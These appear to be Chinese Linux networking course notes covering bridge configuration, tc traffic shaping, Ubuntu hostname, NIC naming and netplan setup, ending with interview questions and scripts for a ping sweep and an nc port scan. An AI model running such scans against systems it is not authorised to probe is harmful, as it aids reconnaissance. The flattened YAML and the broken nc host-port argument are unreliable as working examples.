cat /etc/sysconfig/network-scripts/ifcfg-br0-port0
TYPE=Ethernet
NAME=br0-port0
DEVICE=eth0
ONBOOT=yes
BRIDGE=br0
UUID=23f41d3b-b57c-4e26-9b17-d5f02dafd12d
#4安装管理软件包:
yum install bridge-utils
brctl show
nmcli con reload
网络测试诊断工具
- 测试网络连通性 ping
- 显示正确的路由表 ip route route
- 跟踪路由 traceroute tracepath mtr
- 确定名称服务器使用 nslookup host dig
- 抓包工具 tcpdump wireshark
- 安全扫描工具 nmap netcat :网络界的瑞士军刀,即nc
- 流量控制工具 tc 范例:
tc qdisc add dev eth0 root netem loss 50%
tc qdisc add dev eth0 root netem delay 1000ms
tc qdisc show dev eth0
tc qdisc del
Ubuntu 网络配置
主机名
修改主机名
root@ubuntu1804:~# hostnamectl set-hostname ubuntu1804.magedu.org
root@ubuntu1804:~# cat /etc/hostname
ubuntu1804.magedu.org
root@ubuntu1804:~# hostname
ubuntu1804.magedu.org
root@ubuntu1804:~# echo $HOSTNAME
ubuntu1804
root@ubuntu1804:~# exit
logout
wang@ubuntu1804:~$ sudo -i
root@ubuntu1804:~# echo $HOSTNAME
ubuntu1804.magedu.org
网卡名称
默认ubuntu的网卡名称和 CentOS 7 类似,如:ens33,ens38等 修改网卡名称为传统命名方式:
#修改配置文件为下面形式
root@ubuntu1804:~#vi /etc/default/grub
GRUB_CMDLINE_LINUX="net.ifnames=0"
#或者sed修改
root@ubuntu1804:~# sed -i.bak '/^GRUB_CMDLINE_LINUX=/s#"$#net.ifnames=0"#'
/etc/default/grub
#生效新的grub.cfg文件
root@ubuntu1804:~# grub-mkconfig -o /boot/grub/grub.cfg
#或者
root@ubuntu1804:~# update-grub
root@ubuntu1804:~# grep net.ifnames /boot/grub/grub.cfg
linux /vmlinuz-4.15.0-96-generic root=UUID=51517b88-7e2b-4d4a-8c14-
fe1a48ba153c ro net.ifnames=0
linux /vmlinuz-4.15.0-96-generic root=UUID=51517b88-7e2b-4d4a-
8c14-fe1a48ba153c ro net.ifnames=0
linux /vmlinuz-4.15.0-96-generic root=UUID=51517b88-7e2b-4d4a-
8c14-fe1a48ba153c ro recovery nomodeset net.ifnames=0
linux /vmlinuz-4.15.0-76-generic root=UUID=51517b88-7e2b-4d4a-
8c14-fe1a48ba153c ro net.ifnames=0
linux /vmlinuz-4.15.0-76-generic root=UUID=51517b88-7e2b-4d4a-
8c14-fe1a48ba153c ro recovery nomodeset net.ifnames=0
#重启生效
root@ubuntu1804:~# reboot
Ubuntu网卡配置
对缩进很严格
官网文档:
https://help.ubuntu.com/
https://ubuntu.com/server/docs/configuring-networks
配置自动获取IP
网卡配置文件采用YAML格式,必须以 /etc/netplan/XXX.yaml 文件命名方式存放 可以每个网卡对应一个单独的配置文件,也可以将所有网卡都放在一个配置文件里 范例: root@ubuntu1804:~# cat /etc/netplan/01-netcfg.yaml
This file describes the network interfaces available on your system
For more information, see netplan(5).
network: version: 2 renderer: networkd ethernets: eth0: dhcp4: yes
修改网卡配置文件后需执行命令生效:
root@ubuntu1804:~#netplan apply
### 配置静态IP
范例:
root@ubuntu1804:~#vim /etc/netplan/01-netcfg.yaml
network:
version: 2
renderer: networkd
ethernets:
eth0:
addresses: [192.168.8.10/24,10.0.0.10/8] #或者用下面两行,两种格式不能混用
- 192.168.8.10/24
- 10.0.0.10/8
gateway4: 10.0.0.2
nameservers:
search: [magedu.com, magedu.org]
addresses: [180.76.76.76, 8.8.8.8, 1.1.1.1]
查看ip和gateway
root@ubuntu1804:~#ip addr
root@ubuntu1804:~#route -n
查看DNS
root@ubuntu1804:~#ls -l /etc/resolv.conf
lrwxrwxrwx 1 root root 39 Dec 12 11:36 /etc/resolv.conf ->
../run/systemd/resolve/stub-resolv.conf
root@ubuntu2004:~# resolvectl status #Ubuntu 20.04新命令
root@ubuntu1804:~# systemd-resolve --status
Global
.......
配置多⽹卡静态IP和静态路由
常见面试题
- 简述 TCP/IP三次握手和四次挥手的工作原理?
- Centos7,8 Linux操作系统如何临时和永久配置IP地址?请写出操作步骤
- 用一行命令找出ifconfig命令结果中的IP地址?
- 使用tcpdump 监听主机为192.168.1.1,tcp端口为80的数据,同时将输出结果保存成文件?
NET=192.168.5
cat /dev/null > hosts.txt
for i in {1..254}; do
if ping -c1 -W8 $NET.$i &> /dev/null ; then
echo $NET.$i is up |tee -a hosts.txt
fi
done
NET=192.168.5
cat /dev/null > hosts.txt
for ((i=1; i<=254; i++)); do
if ping -c1 -W8 $NET.$i &> /dev/null ; then
echo $NET.$i is up |tee -a hosts.txt
fi
done
- 写一个扫描某个主机端口的状态的脚本
i=1
host=10.0.0.7
while [ $i -le 65535 ]; do
if nc -z $host$i &> /dev/null ; then
echo $i | tee -a port.txt
fi
let i++
done
总结